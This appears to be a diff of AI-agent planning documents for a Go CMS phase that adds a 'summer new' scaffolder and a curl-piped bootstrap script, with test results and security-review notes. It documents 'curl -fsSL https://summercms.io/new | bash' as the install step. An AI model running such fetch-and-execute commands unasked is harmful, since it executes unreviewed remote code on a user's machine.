+    - modules/lagoon/keygen_test.go
+    - cmd/summer/main_test.go
+    - scripts/check-phase14.3.sh
+    - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md
+    - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md
+
+key-decisions:
+  - "Golden app key is base64 of bytes 0x00..0x1f (goldenAppKey); the existing testAppKey stays for the other tests"
+  - "Goldens use framework auto-detection through a summercms sibling symlink, so the golden replace is ../summercms and the sibling path is exercised"
+  - "TestGenerateAppKeyIs32ByteBase64 renamed to TestGenerateAppKey (the name the gate requires); body unchanged"
+  - "The gate also requires named PASS lines for the site tests (TestNewScriptRoute, TestRoutesAssemble, TestLoadTerminal, TestTerminalScript, TestTerminalEnv, TestTerminalRunScript) and fails when a golden changed during the run"
+  - "--security parses the threat table (escaped pipes respected): every ID present, no open row, every high row mitigated and pinned by a TestX name or a gate stage"
+
+patterns-established:
+  - "Phase gate --all: one process per stage, named PASS per required test, final marker line printed once"
+
+requirements-completed: [D-01, D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-11, D-12, D-13, D-14, D-15, D-16, D-17, D-18, D-19, D-20, D-21, D-22, D-23, D-24, D-25, D-26, D-27, D-28]
+
+coverage:
+  - id: D1
+    description: "Every file summer new writes is pinned byte for byte for the default and --no-plugin apps, with an explicit -update path"
+    requirement: D-21
+    verification:
+      - kind: unit
+        ref: "internal/build/new_golden_test.go#TestNewGolden"
+        status: pass
+      - kind: unit
+        ref: "internal/build/new_golden_test.go#TestNewGoldenNoPlugin"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Generator error and behaviour matrix: name rule and keywords, existing targets, framework resolution order, inside-checkout refusal, cleanup on failure, key validation, .env 0600, AGENTS.md symlink, git first commit and identity paths, --no-git, --no-plugin real build"
+    requirement: D-02
+    verification:
+      - kind: unit
+        ref: "internal/build/new_test.go#TestNewValidateAppName,TestNewRefusesExistingTarget,TestNewFrameworkResolution,TestNewRefusesTargetInsideFramework,TestNewCleansUpOnFailure,TestNewRequiresValidAppKey"
+        status: pass
+      - kind: unit
+        ref: "internal/build/new_test.go#TestNewEnvFileMode,TestNewAgentsSymlink,TestNewGitFirstCommit,TestNewGitUsesConfiguredIdentity,TestNewGitMissingIsWarning,TestNewNoGit"
+        status: pass
+      - kind: integration
+        ref: "internal/build/new_test.go#TestNewAppSmoke,TestNewNoPluginBuilds"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Shared-path and CLI pins: relative go.work from plugin:add, plain make:plugin routes unchanged, GenerateAppKey, summer new through the CLI root"
+    requirement: D-27
+    verification:
+      - kind: unit
+        ref: "internal/build/build_test.go#TestMakeAndAddPluginOnHelloCopy,TestMakePluginRoutesUnchanged"
+        status: pass
+      - kind: unit
+        ref: "modules/lagoon/keygen_test.go#TestGenerateAppKey"
+        status: pass
+      - kind: unit
+        ref: "cmd/summer/main_test.go#TestNewCommandViaCLI,TestToolCommandNames"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Bootstrap script behaviour matrix (25 cases) and shellcheck"
+    requirement: D-16
+    verification:
+      - kind: unit
+        ref: "modules/sunrise/script_behavior_test.go#TestScriptBehavior"
+        status: pass
+      - kind: unit
+        ref: "modules/sunrise/script_behavior_test.go#TestScriptShellcheck"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Fail-closed phase gate across summercms.go and the site: unit, generator, bootstrap, terminal, acceptance, security"
+    requirement: D-21
+    verification:
+      - kind: e2e
+        ref: "bash scripts/check-phase14.3.sh --all (Phase 14.3 gate passed, 2026-10-08)"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Security review T-14.3-01..26 + SC pinned and validation map signed off"
+    verification:
+      - kind: other
+        ref: "bash scripts/check-phase14.3.sh --security"
+        status: pass
+    human_judgment: true
+    rationale: "Self-performed review; a human should read the register, the accepted risks and the pins"
+  - id: D7
+    description: "Release steps (push, tag v0.1.13, site require bump, redeploy, production acceptance)"
+    requirement: D-28
+    verification: []
+    human_judgment: true
+    rationale: "User actions after the phase; listed below, nothing pushed, tagged or deployed"
+
+duration: 19min
+completed: 2026-10-08
+status: complete
+---
+
+# Phase 14.3 Plan 04: Unit tests, phase gate and sign-off Summary
+
+**Golden files pin every file `summer new` writes, 18 named tests cover each generator, CLI and key branch, 25 stub-PATH cases pin the bootstrap script's selection and refusal paths, and `bash scripts/check-phase14.3.sh --all` (vet, full suite with named PASS lines, generator on PostgreSQL 16, gated bootstrap and landing-page runs, container acceptance, threat register) ends with `Phase 14.3 gate passed`.**
+
+## Performance
+
+- **Duration:** 19 min
+- **Started:** 2026-10-08T10:11:15Z
+- **Completed:** 2026-10-08T10:30:44Z
+- **Tasks:** 3
+- **Files modified:** 32 (23 goldens, 6 test files, the gate, 2 planning docs)
+
+## Accomplishments
+
+- Golden harness (`-update`, fixed 0x00..0x1f key, `summercms` sibling symlink): go.mod, go.work, summer.yaml, main.go, plugins.gen.go, config/*, .env, .env.example, .gitignore, compose.yaml, CLAUDE.md, the starter plugin's plugin.go and routes.go, and next steps; six goldens for `--no-plugin`. Reviewed by eye against D-03, D-10, D-23 and D-25. A one-byte edit made `TestNewGolden` fail with a diff (checked by hand, restored).
+- Generator matrix in `internal/build/new_test.go`: all 25 Go keywords plus `main`/`internal`, four existing-target kinds left untouched, eight framework-resolution subtests (flag wins, wrong flag module never falls through, `summercms` before `summercms.go`, foreign sibling skipped, binary source last, nothing found names `--framework`), cleanup leaving siblings intact, key validation before any filesystem access, git identity paths, missing git, `--no-git`, `--no-plugin` real build.
+- `TestScriptBehavior`: help/usage/name errors (including a shell-metacharacter name), existing app, Go missing/1.26.3/devel, git missing, Docker missing, fresh clone at v0.10.0 (numeric order, v1.0.0-rc1 ignored) with `summer new demo --framework <abs>` from the parent and stdin not read, `SUMMERCMS_REF`, dash ref, forward move to v0.11.0, no-op re-run, dirty/branch/non-fast-forward/moved-tag/foreign-module/non-git refusals with HEAD unchanged, PATH hint on/off, GOPATH/bin fallback. A mutation run (forced fetch, stdin left open) made three cases fail.
+- `scripts/check-phase14.3.sh --all` passed: 28 required framework tests plus 6 site tests with named PASS lines, generator stage, `TestBootstrapEndToEnd`, `TestTerminalCommands`, node:24-bookworm acceptance (`{"message":"Hello from SummerCMS","plugin":"golem15.demo"}`) and the security check. No `phase143*` or `summercms-terminal-*` container or volume remained, and the site checkouts stayed clean.
+- Fail-closed checks were exercised on planted inputs: an open high row, a missing T-14.3-26 and an unpinned SC row each fail `--security`, and a skipped required subtest, a missing PASS line or "no tests to run" each fail `require_named_pass`.
+
+## Task Commits
+
+1. **Task 1: golden harness** - `eed24b8` (test)
+2. **Task 2: generator, CLI and key matrix** - `392dd3c` (test)
+3. **Task 3: script matrix, gate, sign-off** - `93e9a8a` (test), `89f1ab2` (chore, gate), `d0af79b` (docs, security review and validation), `c4c91f0` (chore, unique gate marker)
+
+The tracer gate after Task 1 (interactive, end-of-phase, automated-only verify) re-ran the verify chain, which passed, so expansion continued.
+
+## Files Created/Modified
+
+- `internal/build/new_golden_test.go`: `update` flag, `goldenAppKey`, `newGoldenApp`, `goldenName`, `assertGolden` with first-diff output, `TestNewGolden`, `TestNewGoldenNoPlugin`
+- `internal/build/testdata/new/*.golden` (17), `internal/build/testdata/new-no-plugin/*.golden` (6)
+- `internal/build/new_test.go`: helpers (`parentWithFramework`, `fakeFramework`, `stubBinaryFramework`, `isolateGit`) and 16 `TestNew*` tests
+- `internal/build/build_test.go`: relative go.work assertion, `TestMakePluginRoutesUnchanged`
+- `modules/lagoon/keygen_test.go`: `TestGenerateAppKey`
+- `cmd/summer/main_test.go`: `new` help flags, `TestNewCommandViaCLI`
+- `modules/sunrise/script_behavior_test.go`: `scriptHarness`, `fakeRemote`, `TestScriptBehavior`, `TestScriptShellcheck`
+- `scripts/check-phase14.3.sh`: `REQUIRED_TESTS`, `require_named_pass`, `--unit`, `--forbidden`, `--bootstrap`, `--terminal`, `--security`, `--all`
+- `14.3-SECURITY-REVIEW.md`: rows T-14.3-20..26, pins for every row, counts 27/27, 4 accepted
+- `14.3-VALIDATION.md`: `<pkg>` → `sunrise`, exact tests and commands per plan, validated and nyquist_compliant
+
+## Decisions Made
+
+- The goldens exercise sibling auto-detection (no `--framework`), so the golden replace is deterministic and the sibling path is covered.
+- `TestGenerateAppKeyIs32ByteBase64` became `TestGenerateAppKey`, the name the plan and the gate use. The assertions are unchanged.
+- The gate adds named site tests and a goldens-unchanged check beyond the plan's list. Both are cheap and close T-14.3-24 at gate level.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] Detached git auto maintenance raced temp-dir cleanup**
+- **Found during:** Task 2
+- **Issue:** In the full `TestNew` run, `TestNewGitFirstCommit` failed on `TempDir RemoveAll cleanup: unlinkat .../.git: directory not empty`. git 2.55 runs maintenance detached after a commit and wrote `.git/info/refs` and `objects/info/packs` while the directory was being removed.
+- **Fix:** `isolateGit` (and the script harness's git environment) sets `GIT_CONFIG_COUNT` with `maintenance.auto=false` and `gc.auto=0`. This is test-only; the generator itself is unchanged.
+- **Files modified:** internal/build/new_test.go, modules/sunrise/script_behavior_test.go
+- **Verification:** five consecutive `TestNewGit*` runs green, no leftover `/tmp/TestNew*`
+- **Committed in:** 392dd3c, 93e9a8a
+
+**2. [Rule 3 - Blocking] Gate marker literal appeared twice**
+- **Found during:** Task 3 acceptance check (`grep -c 'Phase 14.3 gate passed'` must be 1)
+- **Issue:** The new header comment quoted the marker.
+- **Fix:** Reworded the comment (comment-only change after the `--all` run).
+- **Committed in:** c4c91f0
+
+---
+
+**Total deviations:** 2 auto-fixed (1 bug, 1 blocking). **Impact:** None on scope; the first one only affects how tests clean up.
+
+## Issues Encountered
+
+- `internal/build/registry.go` is still listed by `gofmt -l`. It predates this phase and is out of scope.
+- `shellcheck` on `scripts/check-phase14.3.sh` reports three SC2086 info notes in plan 02's `acc_cleanup`, which relies on word splitting. Left as is.
+
+## User Setup Required
+
+None for the tests. Release steps (D-19, D-28), for the user only. Nothing was pushed, tagged or deployed:
+
+1. Review and push summercms.go `master`.
+2. Tag the framework: `git tag -a v0.1.13 -m "v0.1.13"` on the commit holding all Phase 14.3 framework changes, then `git push origin v0.1.13`. This is one-way: a defect found afterwards ships as v0.1.14.
+3. In `sm-summercmsio-app`, bump `require git.golem15.com/golem15/summercms` to `v0.1.13` in `go.mod` and `plugins/golem15/summercms/go.mod`, and update the `v0.1.12` references in DEPLOY.md and CLAUDE.md. Commit in the plugin submodule and the app, then push the submodules before the app (`ssu`).
+4. Run `scripts/build.sh` (release) and deploy per `sm-summercmsio-app/DEPLOY.md`.
+5. Verify production. `curl -fsSI https://summercms.io/new` should show `200` and `text/plain; charset=utf-8`. Run `SUMMERCMS_TERMINAL_CHECK=1 go test -run TestTerminalCommands -count=1 -v .` in `sm-summercmsio-app` with no overrides, then `bash scripts/check-phase14.3.sh --acceptance-production` in summercms.go.
+
+## Next Phase Readiness
+
+- Phase 14.3 complete, ready for `/gsd-verify-work 14.3` and then the release checklist above.
+
+---
+*Phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new*
+*Completed: 2026-10-08*
+
+## Self-Check: PASSED

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-CONTEXT.md

@@ -0,0 +1,112 @@
+# Phase 14.3: One-command app scaffolding - Context
+
+**Gathered:** 2026-10-08
+**Status:** Ready for planning
+**Source:** User task spec (pasted 2026-10-08) plus planning-checkpoint answers
+
+<domain>
+## Phase Boundary
+
+Starting a new SummerCMS app takes one command. Today it means hand-writing `go.mod` (with a `replace` to the framework checkout), `summer.yaml` and `config/`, following `docs/architecture/go-modules-and-workspaces.md`. A teammate is about to start a new app (built with MSD); this phase removes that friction.
+
+Deliverables:
+1. `summer new <name>` in `cmd/summer` + `internal/build`: writes a ready-to-run `sm-<name>-app/` in the current directory.
+2. A bootstrap script, `curl -fsSL https://summercms.io/new | bash -s -- <name>`, versioned in the framework repo and served by summercms.io.
+3. Docs: installation, go modules and workspaces, console docs, `llms.txt`/`llms-full.txt`, and the summercms.io landing page "Get started".
+4. Go tests for the generator (golden output plus a real build of the scaffold in a temp dir), as the last plan.
+
+Ships as framework tag **`v0.1.13`** (latest existing tag is `v0.1.12`).
+
+Out of scope: `sm-<name>-theme` (Nuxt/Vue frontend) scaffolding — but nothing designed here may block adding it later (e.g. `summer new` must not claim the `theme` naming or assume an app has no frontend directory). Standalone `sm-<name>-plugin` scaffolding beyond what `make:plugin` already does. Windows support for the bootstrap script.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Naming (Golem15 convention)
+- **D-01:** `sm-<name>-app` is an application (this phase), `sm-<name>-plugin` a standalone plugin module, `sm-<name>-theme` a Nuxt/Vue frontend (later). The generated `CLAUDE.md` states this convention.
+- **D-02:** `<name>` is validated as lower-case letters and digits, starting with a letter (`^[a-z][a-z0-9]*$`); it also becomes the second part of the starter plugin ID `golem15.<name>`. `summer new` refuses to overwrite an existing `sm-<name>-app/` directory (exists at all → error, no merge). — **Reversibility:** costly — the name rule is a public CLI contract.
+
+### `summer new` output
+- **D-03:** `go.mod`: module `git.golem15.com/golem15/sm-<name>-app`, `go 1.27.0`, requiring `git.golem15.com/golem15/summercms` with a `replace` to the local framework checkout, written as a **relative** path. — **Reversibility:** reversible.
+- **D-04:** Framework checkout resolution order: (1) `--framework <path>` flag; (2) auto-detection of sibling directories of the target parent (at least `../summercms` and `../summercms.go`) whose `go.mod` declares module `git.golem15.com/golem15/summercms` — detection is by module path, not folder name, because the local checkout is `summercms.go` while the bootstrap clones `summercms`; (3) otherwise a clear error naming `--framework`. Research may add the running binary's own source location as a further candidate if cheap and reliable.
+- **D-05:** `summer.yaml` plus one starter plugin `golem15.<name>` created through the **same code paths** as `make:plugin` and `plugin:add` (no duplicated templates), so `go.work` is created too. The starter plugin exposes at least one HTTP route so acceptance can hit it.
+- **D-06:** Research must check whether an empty `plugins: []` builds. If it does, add `--no-plugin`; if it does not, either fix that in the build pipeline (preferred if small) or drop `--no-plugin` and record why.
+- **D-07:** `config/` contains everything `serve` and `route:list` need, including `http.yaml` with `body_limits` (the known gap in `examples/hello`), app key handling, and storage bucket defaults (uploads bucket). Fix the `examples/hello` gap too if it is the same config.
+- **D-08:** `.env.example` lists the `SUMMER_*` variables (DSN, `APP__KEY`, uploads bucket). `.env` is generated with a fresh app key by reusing the `key:generate` logic in `modules/lagoon/keygen.go` (export or move a helper; do not copy it). `.gitignore` covers `bin/`, `.env`, and generated files that should not be committed (research decides which: e.g. `plugins.gen.go`? `storage/`?).
+- **D-09:** `compose.yaml` runs PostgreSQL 16 with credentials matching `.env`'s DSN.
+- **D-10:** `CLAUDE.md` for AI agents, also usable as `AGENTS.md` (symlink or identical copy — planner's call, but it must survive `git clone` on Linux/macOS). It says: this is a SummerCMS app; do not edit the framework; docs at https://summercms.io/docs/llms.txt and https://summercms.io/docs/llms-full.txt; core commands `make:plugin`, `plugin:add`, `build`, `dev`, `migrate`, `serve`; the naming convention (D-01). Neutral of any consuming application (framework README rule applies to the template text).
+- **D-11:** `git init` and a first commit, skippable with `--no-git`. The commit must not fail when the user has no git identity configured (set a fallback author for that commit only, or skip with a warning — planner's call).
+- **D-12:** The generated app works with **no edits**: `summer build`, `summer migrate` and `summer serve` succeed once `docker compose up -d` is running.
+
+### Bootstrap script
+- **D-13:** Script lives in `summercms.go` (e.g. `scripts/new.sh`) and is embedded in an exported framework package so it is versioned with the framework tag. `sm-summercmsio-plugin` serves it at `GET /new` as `text/plain; charset=utf-8`. No nginx change (nginx already allows GET/HEAD and proxies everything except `/backend`). No Cloudflare Worker. msd-core's `scripts/bootstrap.sh` is a pattern reference only. — **Reversibility:** reversible.
+- **D-14:** The whole script is wrapped in `main()` invoked on the last line, so a truncated download runs nothing.
+- **D-15:** Steps: (1) check Go ≥ 1.27 (clear install hint if missing/old) and Docker (warn only if missing); (2) clone the framework or update an existing clone, fast-forward only; (3) `go install ./cmd/summer`, then print a PATH hint if `$(go env GOPATH)/bin` (or `GOBIN`) is not on `PATH`; (4) run `summer new <name>` next to the framework (sibling directory, so D-04 auto-detection finds it); (5) print next steps: `docker compose up -d`, `summer build`, `summer migrate`, `summer serve`.
+- **D-16:** The script checks out the **latest release tag** (`vX.Y.Z`) of `git.golem15.com/golem15/summercms`, not `master`. Re-runs fetch tags and move forward to the newest tag (never a non-fast-forward). Research settles how this interacts with an existing clone that has local changes or sits on a branch (refuse with a clear message, do not reset).
+- **D-17:** Where the framework is cloned (the script's working directory, e.g. `./summercms`) and any env overrides (clone URL/dir, e.g. for tests) are planner's call; the clone URL defaults to the public HTTPS remote.
+
+### Docs and site
+- **D-18:** Rewrite `docs/setup/installation.md`: the one-liner first, the manual `examples/hello` walkthrough second. Update `docs/architecture/go-modules-and-workspaces.md` to cover `summer new`. Add `summer new` to the console docs. `llms.txt`/`llms-full.txt` pick up the changes (regenerate; `summer docs:build --check` and `TestDocsTree` stay green). Module READMEs for any package whose exported API changes (e.g. `lagoon` if the keygen helper is exported) update in the same change.
+- **D-19:** The summercms.io landing page "Get started" switches to the one-liner in this phase (`vue-summercmsio-app`), and `TestTerminalCommands` in `sm-summercmsio-app` is updated to match. The site is redeployed after `v0.1.13` is tagged (deploy itself is a user action per `sm-summercmsio-app/DEPLOY.md`).
+
+### Acceptance
+- **D-20:** In a clean `node:24-bookworm`-style container with Go 1.27, Docker access, git and jq, starting from nothing: `curl … | bash -s -- demo` → `cd sm-demo-app && docker compose up -d && summer build && summer migrate && summer serve`, then a starter-plugin route answers over HTTP. Before the site is deployed, the run may fetch the script from a local server or the repo file, and clone from a local path/tag via the D-17 overrides; the final run against https://summercms.io/new happens after deploy.
+- **D-21:** Generator Go tests follow the repo's existing test conventions (stdlib `testing`, golden files under `testdata/`, `-short` gating for slow paths such as the real build). Unit tests are the last plan.
+
+### Post-research decisions (2026-10-08, researcher recommendations adopted)
+- **D-22:** On top of the D-02 regex, `summer new` rejects names that break a Go build: `main`, `internal`, and every Go keyword (e.g. `go`, `func`, `type`). Error text says why. — **Reversibility:** reversible — loosening later is non-breaking.
+- **D-23:** `compose.yaml` publishes Postgres on a fixed non-5432 host port bound to `127.0.0.1` (planner picks the number); `.env`/`.env.example` DSN, user, password and DB name match it.
+- **D-24:** `summer new` prints the next steps itself (so a manual `summer new` user sees them too); the bootstrap script prints only the extra bits (the `cd` line, the PATH hint).
+- **D-25:** No root `go.sum` in the scaffold; building goes through `go.work`. `go.work.sum` is gitignored.
+- **D-26:** The new exported framework package that embeds the bootstrap script lives under `modules/` (name is planner's call, it must follow the module README rules and get a root README table row). The script file sits inside that package directory (`//go:embed` cannot reach `../scripts/`). Script env overrides are `SUMMERCMS_REPO`, `SUMMERCMS_DIR`, `SUMMERCMS_REF` — never `SUMMER_*` (compass reads those as config).
+- **D-27:** Fix the two defects research found, in the shared code paths: `plugin:add` writes a relative path into `go.work` (not absolute), and the `make:plugin` routes stub gains an opt-in starter route used by `summer new` (no duplicated template). Export `lagoon.GenerateAppKey()` (or equivalent) so the key is generated without the `key:generate` CLI's `✓ ` prefix. Add `config/http.yaml` to `examples/hello` so `TestTypedItemRoute` passes.
+- **D-28:** Release ordering: all framework work lands before tagging `v0.1.13`. The site plugin's `/new` route and the landing-page change are built against the framework through the site's local `go.work`/replace during this phase; bumping the site's `require` to `v0.1.13` and redeploying happen after the tag (user action, per `sm-summercmsio-app/DEPLOY.md`). The bootstrap script's `SUMMERCMS_REF` override lets acceptance run before the tag exists.
+
+### Claude's Discretion
+- Exact package layout inside `internal/build` (e.g. `new.go` + templates under `internal/build/stubs/new/`), flag names beyond those listed, and template engine (`text/template` like existing stubs).
+- Whether `summer new` also runs `summer build` at the end (default: no — the next-steps text covers it).
+- Default DB name/user/password and host port in `compose.yaml`/`.env` (avoid clashing with a host Postgres on 5432 if cheap, e.g. a non-default host port).
+- Security review: the bootstrap script is piped into a shell and served publicly — run the security-review agent for plan 2.
+
+</decisions>
+
+<plans>
+## Agreed Plan Split (checkpoint confirmed 2026-10-08)
+
+1. **Generator** — `summer new` in `cmd/summer` + `internal/build` (D-02..D-12), with a smoke test. Repo: `summercms.go`.
+2. **Bootstrap script + `/new` route + acceptance** — `scripts/new.sh` embedded and exported (D-13..D-17), `GET /new` in `sm-summercmsio-plugin`, container acceptance run (D-20). Repos: `summercms.go`, `sm-summercmsio-app` (plugin submodule).
+3. **Docs and landing page** — D-18, D-19. Repos: `summercms.go`, `sm-summercmsio-app` / `vue-summercmsio-app`.
+4. **Unit tests** — golden output + real build in a temp dir (D-21). Repo: `summercms.go`.
+
+</plans>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+- `cmd/summer/main.go` — existing commands: `build`, `make:plugin`, `dev`, `plugin:add`, delegated `migrate`/`serve`.
+- `internal/build/` — `scaffold.go`, `build.go`, `manifest.go`, `registry.go`, `stubs/` (existing templates and code paths to reuse).
+- `modules/lagoon/keygen.go` — `key:generate` logic to reuse for `.env`.
+- `examples/hello/` — minimal app (`go.mod`, `summer.yaml`, `config/`), including the missing `http.yaml` `body_limits`.
+- `docs/setup/installation.md`, `docs/architecture/go-modules-and-workspaces.md`, `docs/console/` — docs to update; `cmd/summer/docs.go` — docs build / llms output.
+- `../sm-bm-app/`, `../sm-summercmsio-app/` — real hand-built apps: `go.mod` with relative replace, `config/*.yaml` (`http.yaml`, `storage.yaml`, `database.yaml`, `app.yaml`), `go.work`.
+- `../sm-summercmsio-app/DEPLOY.md`, `../sm-summercmsio-app/plugins/golem15/summercms/` (site plugin, routes), `../sm-summercmsio-app/terminal_check_test.go`, `../sm-summercmsio-app/vue-summercmsio-app/` (landing page "Get started").
+- msd-core `scripts/bootstrap.sh` — pattern reference for the curl | bash script (locate via the msd-core checkout; reference only).
+
+</canonical_refs>
+
+<deferred>
+## Deferred Ideas
+
+- `summer new --theme` / `sm-<name>-theme` Nuxt scaffold.
+- Publishing `summer` as prebuilt release binaries (would remove the Go prerequisite for running the CLI, not for building apps).
+
+</deferred>
+
+---
+
+*Phase: 14.3-one-command-app-scaffolding*
+*Context gathered: 2026-10-08*

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md

@@ -0,0 +1,653 @@
+# Phase 14.3: One-command app scaffolding (`summer new` + summercms.io/new) - Research
+
+**Researched:** 2026-10-08
+**Domain:** Go CLI scaffolding (internal/build), Go modules/workspaces, curl|bash bootstrap, static route on the site plugin, docs pipeline
+**Confidence:** HIGH (most claims were checked empirically in a scratch directory against the local framework and a throwaway PostgreSQL 16 container)
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+
+#### Naming (Golem15 convention)
+- **D-01:** `sm-<name>-app` is an application (this phase), `sm-<name>-plugin` a standalone plugin module, `sm-<name>-theme` a Nuxt/Vue frontend (later). The generated `CLAUDE.md` states this convention.
+- **D-02:** `<name>` is validated as lower-case letters and digits, starting with a letter (`^[a-z][a-z0-9]*$`); it also becomes the second part of the starter plugin ID `golem15.<name>`. `summer new` refuses to overwrite an existing `sm-<name>-app/` directory (exists at all → error, no merge). — **Reversibility:** costly — the name rule is a public CLI contract.
+
+#### `summer new` output
+- **D-03:** `go.mod`: module `git.golem15.com/golem15/sm-<name>-app`, `go 1.27.0`, requiring `git.golem15.com/golem15/summercms` with a `replace` to the local framework checkout, written as a **relative** path. — **Reversibility:** reversible.
+- **D-04:** Framework checkout resolution order: (1) `--framework <path>` flag; (2) auto-detection of sibling directories of the target parent (at least `../summercms` and `../summercms.go`) whose `go.mod` declares module `git.golem15.com/golem15/summercms` — detection is by module path, not folder name, because the local checkout is `summercms.go` while the bootstrap clones `summercms`; (3) otherwise a clear error naming `--framework`. Research may add the running binary's own source location as a further candidate if cheap and reliable.
+- **D-05:** `summer.yaml` plus one starter plugin `golem15.<name>` created through the **same code paths** as `make:plugin` and `plugin:add` (no duplicated templates), so `go.work` is created too. The starter plugin exposes at least one HTTP route so acceptance can hit it.
+- **D-06:** Research must check whether an empty `plugins: []` builds. If it does, add `--no-plugin`; if it does not, either fix that in the build pipeline (preferred if small) or drop `--no-plugin` and record why.
+- **D-07:** `config/` contains everything `serve` and `route:list` need, including `http.yaml` with `body_limits` (the known gap in `examples/hello`), app key handling, and storage bucket defaults (uploads bucket). Fix the `examples/hello` gap too if it is the same config.
+- **D-08:** `.env.example` lists the `SUMMER_*` variables (DSN, `APP__KEY`, uploads bucket). `.env` is generated with a fresh app key by reusing the `key:generate` logic in `modules/lagoon/keygen.go` (export or move a helper; do not copy it). `.gitignore` covers `bin/`, `.env`, and generated files that should not be committed (research decides which: e.g. `plugins.gen.go`? `storage/`?).
+- **D-09:** `compose.yaml` runs PostgreSQL 16 with credentials matching `.env`'s DSN.
+- **D-10:** `CLAUDE.md` for AI agents, also usable as `AGENTS.md` (symlink or identical copy — planner's call, but it must survive `git clone` on Linux/macOS). It says: this is a SummerCMS app; do not edit the framework; docs at https://summercms.io/docs/llms.txt and https://summercms.io/docs/llms-full.txt; core commands `make:plugin`, `plugin:add`, `build`, `dev`, `migrate`, `serve`; the naming convention (D-01). Neutral of any consuming application (framework README rule applies to the template text).
+- **D-11:** `git init` and a first commit, skippable with `--no-git`. The commit must not fail when the user has no git identity configured (set a fallback author for that commit only, or skip with a warning — planner's call).
+- **D-12:** The generated app works with **no edits**: `summer build`, `summer migrate` and `summer serve` succeed once `docker compose up -d` is running.
+
+#### Bootstrap script
+- **D-13:** Script lives in `summercms.go` (e.g. `scripts/new.sh`) and is embedded in an exported framework package so it is versioned with the framework tag. `sm-summercmsio-plugin` serves it at `GET /new` as `text/plain; charset=utf-8`. No nginx change (nginx already allows GET/HEAD and proxies everything except `/backend`). No Cloudflare Worker. msd-core's `scripts/bootstrap.sh` is a pattern reference only. — **Reversibility:** reversible.
+- **D-14:** The whole script is wrapped in `main()` invoked on the last line, so a truncated download runs nothing.
+- **D-15:** Steps: (1) check Go ≥ 1.27 (clear install hint if missing/old) and Docker (warn only if missing); (2) clone the framework or update an existing clone, fast-forward only; (3) `go install ./cmd/summer`, then print a PATH hint if `$(go env GOPATH)/bin` (or `GOBIN`) is not on `PATH`; (4) run `summer new <name>` next to the framework (sibling directory, so D-04 auto-detection finds it); (5) print next steps: `docker compose up -d`, `summer build`, `summer migrate`, `summer serve`.
+- **D-16:** The script checks out the **latest release tag** (`vX.Y.Z`) of `git.golem15.com/golem15/summercms`, not `master`. Re-runs fetch tags and move forward to the newest tag (never a non-fast-forward). Research settles how this interacts with an existing clone that has local changes or sits on a branch (refuse with a clear message, do not reset).
+- **D-17:** Where the framework is cloned (the script's working directory, e.g. `./summercms`) and any env overrides (clone URL/dir, e.g. for tests) are planner's call; the clone URL defaults to the public HTTPS remote.
+
+#### Docs and site
+- **D-18:** Rewrite `docs/setup/installation.md`: the one-liner first, the manual `examples/hello` walkthrough second. Update `docs/architecture/go-modules-and-workspaces.md` to cover `summer new`. Add `summer new` to the console docs. `llms.txt`/`llms-full.txt` pick up the changes (regenerate; `summer docs:build --check` and `TestDocsTree` stay green). Module READMEs for any package whose exported API changes (e.g. `lagoon` if the keygen helper is exported) update in the same change.
+- **D-19:** The summercms.io landing page "Get started" switches to the one-liner in this phase (`vue-summercmsio-app`), and `TestTerminalCommands` in `sm-summercmsio-app` is updated to match. The site is redeployed after `v0.1.13` is tagged (deploy itself is a user action per `sm-summercmsio-app/DEPLOY.md`).
+
+#### Acceptance
+- **D-20:** In a clean `node:24-bookworm`-style container with Go 1.27, Docker access, git and jq, starting from nothing: `curl … | bash -s -- demo` → `cd sm-demo-app && docker compose up -d && summer build && summer migrate && summer serve`, then a starter-plugin route answers over HTTP. Before the site is deployed, the run may fetch the script from a local server or the repo file, and clone from a local path/tag via the D-17 overrides; the final run against https://summercms.io/new happens after deploy.
+- **D-21:** Generator Go tests follow the repo's existing test conventions (stdlib `testing`, golden files under `testdata/`, `-short` gating for slow paths such as the real build). Unit tests are the last plan.
+
+### Claude's Discretion
+- Exact package layout inside `internal/build` (e.g. `new.go` + templates under `internal/build/stubs/new/`), flag names beyond those listed, and template engine (`text/template` like existing stubs).
+- Whether `summer new` also runs `summer build` at the end (default: no — the next-steps text covers it).
+- Default DB name/user/password and host port in `compose.yaml`/`.env` (avoid clashing with a host Postgres on 5432 if cheap, e.g. a non-default host port).
+- Security review: the bootstrap script is piped into a shell and served publicly — run the security-review agent for plan 2.
+
+### Agreed Plan Split (checkpoint confirmed 2026-10-08)
+1. **Generator** — `summer new` in `cmd/summer` + `internal/build` (D-02..D-12), with a smoke test. Repo: `summercms.go`.
+2. **Bootstrap script + `/new` route + acceptance** — `scripts/new.sh` embedded and exported (D-13..D-17), `GET /new` in `sm-summercmsio-plugin`, container acceptance run (D-20). Repos: `summercms.go`, `sm-summercmsio-app` (plugin submodule).
+3. **Docs and landing page** — D-18, D-19. Repos: `summercms.go`, `sm-summercmsio-app` / `vue-summercmsio-app`.
+4. **Unit tests** — golden output + real build in a temp dir (D-21). Repo: `summercms.go`.
+
+### Deferred Ideas (OUT OF SCOPE)
+- `summer new --theme` / `sm-<name>-theme` Nuxt scaffold.
+- Publishing `summer` as prebuilt release binaries (would remove the Go prerequisite for running the CLI, not for building apps).
+</user_constraints>
+
+## Project Constraints (from CLAUDE.md)
+
+- Stdlib first (net/http ServeMux, text/template, encoding/json, os/exec, embed). **No new Go dependency is needed for this phase** — everything below uses stdlib plus existing framework packages.
+- Compiled plugins only; no runtime plugin loading.
